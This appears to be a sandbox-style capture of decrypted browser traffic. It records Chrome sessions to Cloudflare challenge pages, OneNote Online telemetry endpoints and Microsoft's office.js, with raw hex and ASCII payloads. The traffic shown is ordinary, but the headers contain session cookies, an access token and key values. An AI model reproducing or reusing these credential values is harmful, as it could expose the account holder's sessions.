Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:23 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:23 UTC	379	IN	HTTP/1.1 404 Not Found Date: Fri, 25 Oct 2024 08:19:23 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: t/V0R40PmMRXGhfr2w3ioIj/geI88NU5muU=$Etuo2Hh7Q9HlZCmu Server: cloudflare CF-RAY: 8d80c8098a70e936-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:23 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50021	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:23 UTC	1091	OUT	POST /oa/RemoteUls.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&officeserverversion= HTTP/1.1 Host: oauth.officeapps.live.com Connection: keep-alive Content-Length: 467 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://oauth.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://oauth.officeapps.live.com/oa/WacOAuth.aspx?replyUrl=https://onenote.officeapps.live.com&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&WacUserType=WOPI&sv=1&msalv3=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; PUS11-ARRAffinity=9ea258528c12fc9b9a93ce6660789fc58d2ad73c9d536bd62f098877fcbfb31c
2024-10-25 08:19:23 UTC	467	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 36 32 33 38 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 33 38 38 37 36 30 2c 22 54 22 3a 32 31 2c 22 4d 22 3a 22 5b 53 48 41 52 45 44 2d 41 55 54 48 20 56 33 5d 20 53 63 72 69 70 74 20 73 74 61 72 74 69 6e 67 20 74 6f 20 65 78 65 63 75 74 65 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 38 38 37 35 39 2c 22 54 22 3a 32 31 2c 22 4d 22 3a 22 5b 53 48 41 52 45 44 2d 41 55 54 48 20 56 33 5d 20 49 6e 69 74 69 61 6c 69 7a 69 6e 67 20 77 69 74 68 20 61 20 74 72 75 73 74 65 64 20 72 65 70 6c 79 55 72 6c 22 2c 22 43 22 3a 33 30 30 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 35 30 30 33 37 32 2c 22 54 22 3a 32 31 2c 22 4d 22 3a 22 5b 53 48 41 52 45 44 2d 41 55 54 48 5d 20 52 65 Data Ascii: {"T":1729844362383,"L":[{"G":507388760,"T":21,"M":"[SHARED-AUTH V3] Script starting to execute","C":3000,"D":50},{"G":507388759,"T":21,"M":"[SHARED-AUTH V3] Initializing with a trusted replyUrl","C":3000,"D":50},{"G":506500372,"T":21,"M":"[SHARED-AUTH] Re
2024-10-25 08:19:23 UTC	4328	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c034ef79-7bff-4a4c-ba99-5f7b022e6a36 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 X-OfficeFE: SN3PEPF00017D6A X-OfficeVersion: 16.0.18218.41000 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://oauth.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017AFE X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 08D52943D80E49F88D78DE53DABA8128 Ref B: DFW311000105045 Ref C: 2024-10-25T08:19:23Z Date: Fri, 25 Oct 2024 08:19:22 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50031	13.107.246.45	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:24 UTC	505	OUT	GET /lib/1.1/hosted/office.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
2024-10-25 08:19:24 UTC	1488	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:24 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Wed, 23 Oct 2024 18:33:44 GMT x-ms-request-id: 52ab88c9-c01e-0016-53e1-259ed7000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.221.23.207,b=1554922992,c=g,n=US_TX_DALLAS,o=20940],[c=c,n=US_TX_DALLAS,o=20940],[a=20.209.103.4,c=o] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=DALLAS&ASN=20940&Country=US&Region=TX&RequestIdentifier=0.cf17dd17.1729844321.5cae3df0&TotalRTCDNTime=7&CompressionType=gzip&FileSize=65468"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=677, origin; dur=0 , cdntime; dur=677 Akamai-Cache-Status: Miss from child, RefreshHit from parent X-CDN-Bucket: 2 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20241025T081924Z-16849878b78bcpfn2qf7sm6hsn00000001yg0000000020zk x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT
2024-10-25 08:19:24 UTC	14896	IN	Data Raw: 32 62 61 61 0d 0a 76 61 72 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 20 28 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 29 20 7b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 44 61 74 65 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 66 66 69 63 65 45 78 65 63 75 74 65 45 6e 64 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 6e 63 65 2e 68 6f 73 74 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 72 74 20 3d 20 30 3b 0d 0a 20 20 20 20 4f 53 46 50 65 72 66 6f 72 6d 61 Data Ascii: 2baavar OSFPerformance;(function (OSFPerformance) { OSFPerformance.officeExecuteStartDate = 0; OSFPerformance.officeExecuteStart = 0; OSFPerformance.officeExecuteEnd = 0; OSFPerformance.hostInitializationStart = 0; OSFPerforma
2024-10-25 08:19:24 UTC	16384	IN	Data Raw: 2e 5f 72 65 73 75 6c 74 3d 62 3b 6c 28 4a 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 63 2c 67 2c 65 2c 66 29 7b 76 61 72 20 61 3d 63 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 62 3d 61 2e 6c 65 6e 67 74 68 3b 63 2e 5f 6f 6e 65 72 72 6f 72 3d 64 3b 61 5b 62 5d 3d 67 3b 61 5b 62 2b 6d 5d 3d 65 3b 61 5b 62 2b 6a 5d 3d 66 3b 62 3d 3d 3d 30 26 26 63 2e 5f 73 74 61 74 65 26 26 6c 28 78 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 78 28 62 29 7b 76 61 72 20 61 3d 62 2e 5f 73 75 62 73 63 72 69 62 65 72 73 2c 66 3d 62 2e 5f 73 74 61 74 65 3b 69 66 28 61 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 3b 66 6f 72 28 76 61 72 20 65 2c 64 2c 67 3d 62 2e 5f 72 65 73 75 6c 74 2c 63 3d 30 3b 63 3c 61 2e 6c 65 6e 67 74 68 3b 63 2b 3d 33 29 7b 65 3d 61 5b 63 5d 3b 64 3d Data Ascii: ._result=b;l(J,a)}function t(c,g,e,f){var a=c._subscribers,b=a.length;c._onerror=d;a[b]=g;a[b+m]=e;a[b+j]=f;b===0&&c._state&&l(x,c)}function x(b){var a=b._subscribers,f=b._state;if(a.length===0)return;for(var e,d,g=b._result,c=0;c<a.length;c+=3){e=a[c];d=
2024-10-25 08:19:24 UTC	16384	IN	Data Raw: 3b 76 61 72 20 74 3d 70 61 72 73 65 46 6c 6f 61 74 28 63 2e 68 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 29 2c 6e 3d 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 44 65 66 61 75 6c 74 3b 69 66 28 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 26 26 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 5b 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 5d 29 6e 3d 4f 53 46 2e 48 6f 73 74 53 70 65 63 69 66 69 63 46 69 6c 65 56 65 72 73 69 6f 6e 4d 61 70 5b 63 2e 68 6f 73 74 54 79 70 65 5d 5b 63 2e 68 6f 73 74 50 6c 61 74 66 6f 72 6d 5d 3b 69 66 28 74 3e 70 Data Ascii: ;var t=parseFloat(c.hostSpecificFileVersion),n=OSF.HostSpecificFileVersionDefault;if(OSF.HostSpecificFileVersionMap[c.hostType]&&OSF.HostSpecificFileVersionMap[c.hostType][c.hostPlatform])n=OSF.HostSpecificFileVersionMap[c.hostType][c.hostPlatform];if(t>p
2024-10-25 08:19:24 UTC	16384	IN	Data Raw: 4e 61 6d 65 29 2c 50 28 74 2c 6f 2c 22 53 75 62 46 65 61 74 75 72 65 4e 61 6d 65 22 2c 65 2e 73 75 62 46 65 61 74 75 72 65 4e 61 6d 65 29 2c 50 28 74 2c 6f 2c 22 43 61 70 61 62 69 6c 69 74 79 22 2c 65 2e 63 61 70 61 62 69 6c 69 74 79 29 2c 41 28 74 2c 6f 2c 22 49 73 54 68 75 6d 62 73 55 70 22 2c 65 2e 69 73 54 68 75 6d 62 73 55 70 29 2c 50 28 74 2c 6f 2c 22 45 6e 74 72 79 50 6f 69 6e 74 22 2c 65 2e 65 6e 74 72 79 50 6f 69 6e 74 29 2c 50 28 74 2c 6f 2c 22 56 65 72 62 22 2c 65 2e 76 65 72 62 29 2c 74 2e 70 75 73 68 28 70 28 22 7a 43 2e 22 2e 63 6f 6e 63 61 74 28 6f 29 2c 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 6f 70 69 6c 6f 74 22 29 29 2c 74 7d 7d 28 78 7c 7c 28 78 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 41 73 68 Data Ascii: Name),P(t,o,"SubFeatureName",e.subFeatureName),P(t,o,"Capability",e.capability),A(t,o,"IsThumbsUp",e.isThumbsUp),P(t,o,"EntryPoint",e.entryPoint),P(t,o,"Verb",e.verb),t.push(p("zC.".concat(o),"Office.System.Copilot")),t}}(x\|\|(x={})),function(e){var t="Ash
2024-10-25 08:19:24 UTC	1449	IN	Data Raw: 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 53 61 6d 70 6c 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 21 3d 3d 74 68 69 73 2e 5f 70 61 72 65 6e 74 49 64 26 26 21 21 74 68 69 73 2e 75 70 64 61 74 65 50 61 72 65 6e 74 49 64 28 74 29 26 26 28 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 3d 65 3f 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 7c 44 65 2e 53 61 6d 70 6c 65 64 3a 74 68 69 73 2e 5f 74 72 61 63 65 46 6c 61 67 73 26 7e 44 65 2e 53 61 6d 70 6c 65 64 2c 21 30 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 75 70 64 61 74 65 50 61 72 65 6e 74 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 21 28 21 47 65 2e 74 65 73 74 28 65 29 7c 7c 7a 65 28 65 29 7c 7c 28 74 68 69 73 2e 5f 70 61 Data Ascii: ,e.prototype.updateSampled=function(e,t){return t!==this._parentId&&!!this.updateParentId(t)&&(this._traceFlags=e?this._traceFlags\|De.Sampled:this._traceFlags&~De.Sampled,!0)},e.prototype.updateParentId=function(e){return e?!(!Ge.test(e)\|\|ze(e)\|\|(this._pa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50032	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:24 UTC	1397	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 56636 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-AccessTokenTtl: 1730017122364 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:24 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 34 37 38 31 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 34 32 35 31 33 30 39 31 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 46 65 61 74 75 72 65 48 65 6c 70 65 72 2e 49 73 46 65 61 74 75 72 65 45 6e 61 62 6c 65 64 3a 20 43 61 6c 6c 20 6d 61 64 65 20 74 6f 20 63 68 65 63 6b 20 69 66 20 66 65 61 74 75 72 65 3a 20 43 6f 6e 6e 65 63 74 65 64 53 65 72 76 69 63 65 73 20 69 73 20 65 6e 61 62 6c 65 64 2e 22 2c 22 43 22 3a 33 30 30 34 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 75 69 41 63 74 6f 72 73 52 65 61 64 79 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c Data Ascii: {"T":1729844347812,"L":[{"G":42513091,"T":1,"M":"ApplicationFeatureHelper.IsFeatureEnabled: Call made to check if feature: ConnectedServices is enabled.","C":3004,"D":50},{"G":20025679,"T":1,"M":"SetAppInitializationStatus: uiActorsReady","C":306,"D":50},
2024-10-25 08:19:24 UTC	16384	OUT	Data Raw: 6c 65 20 66 69 72 73 74 20 72 65 6e 64 65 72 20 74 69 6d 65 3a 20 31 34 38 36 20 6d 73 22 2c 22 43 22 3a 33 34 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 31 35 32 38 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 64 6f 63 75 6d 65 6e 74 54 69 74 6c 65 52 65 6e 64 65 72 65 64 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 31 32 39 30 30 35 35 2c 22 54 22 3a 31 38 34 39 2c 22 4d 22 3a 22 48 65 61 64 65 72 20 50 6c 61 63 65 68 6f 6c 64 65 72 20 68 61 73 20 62 65 65 6e 20 64 69 73 6d 69 73 73 65 64 2e 22 2c 22 43 22 3a 33 34 30 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 34 38 33 30 36 31 35 2c 22 54 22 3a 32 31 37 38 2c 22 4d 22 3a Data Ascii: le first render time: 1486 ms","C":340,"D":50},{"G":20025679,"T":1528,"M":"SetAppInitializationStatus: documentTitleRendered","C":306,"D":50},{"G":571290055,"T":1849,"M":"Header Placeholder has been dismissed.","C":340,"D":50},{"G":594830615,"T":2178,"M":
2024-10-25 08:19:24 UTC	16384	OUT	Data Raw: 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 39 39 34 35 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 70 69 20 77 69 74 68 20 61 63 74 69 76 69 74 79 22 2c 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 37 35 34 35 30 33 2c 22 54 22 3a 39 39 35 34 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 45 6e 64 49 6e 74 65 72 6e 61 6c 20 41 70 70 55 73 61 67 65 4e 50 53 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 38 35 36 32 36 32 2c 22 54 22 3a 39 39 35 35 2c 22 4d 22 3a 22 42 46 43 4f 43 56 2e 43 61 6c 6c 69 6e 67 20 4f 43 56 27 73 20 6c 6f 67 41 63 74 69 76 69 74 79 53 74 6f 70 54 69 6d 65 20 41 70 70 55 73 61 67 65 4e 50 53 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 Data Ascii: {"G":541411082,"T":9945,"M":"SendToWorkerApi with activity","C":226,"D":50},{"G":37754503,"T":9954,"M":"SIFB: LogActivityEndInternal AppUsageNPS","C":356,"D":50},{"G":37856262,"T":9955,"M":"BFCOCV.Calling OCV's logActivityStopTime AppUsageNPS","C":356,"D"
2024-10-25 08:19:24 UTC	7484	OUT	Data Raw: 35 2e 33 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 33 30 38 38 35 2e 33 5c 22 2c 5c 22 43 6f 6e 6e 65 63 74 45 6e 64 5c 22 3a 5c 22 33 31 37 34 31 2e 37 5c 22 2c 5c 22 53 65 63 75 72 65 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 61 72 74 5c 22 3a 5c 22 33 30 38 39 32 2e 39 5c 22 2c 5c 22 52 65 71 75 65 73 74 53 74 61 72 74 5c 22 3a 5c 22 33 31 37 34 31 2e 39 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 53 74 61 72 74 5c 22 3a 5c 22 33 32 31 30 34 2e 31 5c 22 2c 5c 22 52 65 73 70 6f 6e 73 65 45 6e 64 5c 22 3a 5c 22 33 32 31 30 35 2e 36 5c 22 2c 5c 22 44 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 31 31 36 36 37 5c 22 2c 5c 22 45 6e 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 5c 22 3a 5c 22 31 31 36 36 37 5c 22 2c 5c 22 54 72 61 6e 73 66 Data Ascii: 5.3\",\"ConnectStart\":\"30885.3\",\"ConnectEnd\":\"31741.7\",\"SecureConnectionStart\":\"30892.9\",\"RequestStart\":\"31741.9\",\"ResponseStart\":\"32104.1\",\"ResponseEnd\":\"32105.6\",\"DecodedBodySize\":\"11667\",\"EncodedBodySize\":\"11667\",\"Transf
2024-10-25 08:19:24 UTC	1630	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f7c0a21f-90db-49d3-9a1c-69b3bb13e049 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C91 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C91 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: F5288CA716CA417E90A915C3A01D6F29 Ref B: DFW311000102027 Ref C: 2024-10-25T08:19:24Z Date: Fri, 25 Oct 2024 08:19:23 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50036	104.18.95.41	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:19:25 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8d80c7f0395d4869/1729844361925/ULcuuj9FzFMW5qZ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:19:25 UTC	200	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:19:25 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8d80c8130f864754-DFW alt-svc: h3=":443"; ma=86400
2024-10-25 08:19:25 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 57 00 00 00 42 08 02 00 00 00 ad b1 dd 13 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRWBIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50042	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
